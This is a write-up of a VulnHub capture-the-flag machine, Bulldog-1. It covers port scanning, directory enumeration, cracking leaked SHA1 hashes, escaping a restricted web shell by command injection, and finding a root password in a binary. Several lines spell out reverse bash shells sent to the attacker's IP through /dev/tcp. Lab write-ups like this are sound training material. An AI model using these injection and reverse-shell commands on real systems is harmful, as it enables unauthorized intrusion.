Source: https://www.vulnhub.com/entry/bulldog-1,211/
After a long holiday break working through the SANS Holiday Hack Challenge & HTB machines it’s time for another writeup to ring in the new year! As indicated by the author this should be a beginner/intermediate level machine.
Starting off we’ll scan for the target’s assigned IP:
nmap 192.168.111.0/24 -sP
OS + service discovery scan, all ports:
nmap 192.168.111.100 -O -sV -p- -T4
So to start off with it looks like we have an open SSH (or telnet) port, an http server, and possibly a proxy service on 8080. Let’s banner grab port 23 first to confirm what’s there.
So it is indeed an SSH service. Now let’s navigate to the http site on port 80.
The “Public Notice” page shows:
Big hints here! “clam shell” and “smelly cow”. I’m assuming “smelly cow” is referring to “dirty cow” which is a Linux privilege escalation exploit. Not sure about “clam shell” yet…
I poked around in the source code (and associated css/js files inside) of both pages but nothing stood out to me at first glance.
I checked for a robots.txt file and found this:
I also viewed the site via port 8080 and saw no discernible difference (initially) on the 3 paths above.
Before firing up dirb I ran a quick nikto scan to see what it could find:
So let’s also check out that directory to see if anything interesting can be found.
Also at the bottom of the page is a list of team contacts:
If I simply try to follow the link directly to the webshell I get:
So based on the dev page notice it sounds like the initial shell/dirty cow vulnerabilities were fixed (?), php/phpmyadmin are no longer used, and MongoDB is being used instead. Partial or incomplete installations of either may still remain…so let’s try dirb now to enumerate other possible hidden paths.
All of the /admin/ paths get me to a login page for Django admin:
At this point it’s very likely I could try brute forcing passwords using the above email contacts as usernames (or with “@bulldogindustries.com” cut out) but before spending time on that let’s also check a few injection attacks to see if the login can be bypassed entirely.
I tried a few injection methods but my guess is they aren’t using SQL at all as they state above.
A closer look at the /dev/ page finally gets me headed in the right direction (and avoids a possibly long hydra session!).
So we have the following hashes to work with:
[email protected]:6515229daf8dbdc8b89fed2e60f107433da5f2cb [email protected]:38882f3b81f8f2bc47d9f3119155b05f954892fb [email protected]:c6f7e34d5d08ba4a40dd5627508ccb55b425e279 [email protected]:0e6ae9fe8af1cd4192865ac97ebf6bda414218a9 [email protected]:553d917a396414ab99785694afd51df3a8a8a3e0 [email protected]:ddf45997a7e18a25ad5f5cf222da64814dd060d5 [email protected]:d8b8dd5e7f000b8dea26ef8428caf38c04466b3e
Using hash-identifier I plugged in a handful of the provided hashes.
So probably SHA1. I dumped the list of hashes into a text file and started up john the ripper to attempt to crack any/all of them.
It took only a moment to get the first successful crack:
Let’s try this first account with the Django login page.
I’m not able to do anything from the Django admin page, but can I get to the webshell now?
I tried the same creds via SSH as well but no luck there. Let’s see what we can do to try to escape the limited shell provided. Any quick tests of non-sanctioned commands yields this page:
I had this SANS resource on deck (notably the “tee” section) but before that I just tried some more simple attempts. A pipe gave me server errors if I tried to reference disallowed commands, same with stringing on additional commands using &&. A quick search on exploiting “echo” to run commands led me to this quick trick courtesy of StackOverflow:
echo $(test)
So let’s try a reverse bash shell.
Well…I ended up changing around syntax and including full paths, single quotes, changing port#, etc., but couldn’t get the shell to execute properly this way.
echo $(bash -i >& /dev/tcp/192.168.111.101/3333 0>&1)
echo $(‘bash -i >& /dev/tcp/192.168.111.101/3333 0>&1’)
echo $(/bin/bash -i >& /dev/tcp/192.168.111.101/3333 0>&1)
echo $(/bin/bash -i >& /dev/tcp/192.168.111.101/443 0>&1)
…
But piping DOES work when paired with echo so I was able to spawn the shell using:
echo ‘bash -i >& /dev/tcp/192.168.111.101/443 0>&1’ | bash
From here I did some exploring and happened upon this hidden directory in /home/bulldogadmin/
The contents of the note:
Current user doesn’t have rights to run “customPermissionApp” but we can try to use strings to at least understand how it works.
SUPERultH
imatePASH
SWORDyouH
CANTget
dH34%(
AWAVA
AUATL
Nothing interesting there, certainly? But trying to use “SUPERultHimatePASHSWORDyouHCANTgetdH34%(AWAVAAUATL” as a password to login to root failed. Maybe try slicing off possible garbage/padding chars? Errr…no, maybe not.
I was stuck here for a while but received a hint that I was on the right track. Finally…correcting the typos (extra inserted ‘H’s) in the password worked!
And there is root flag!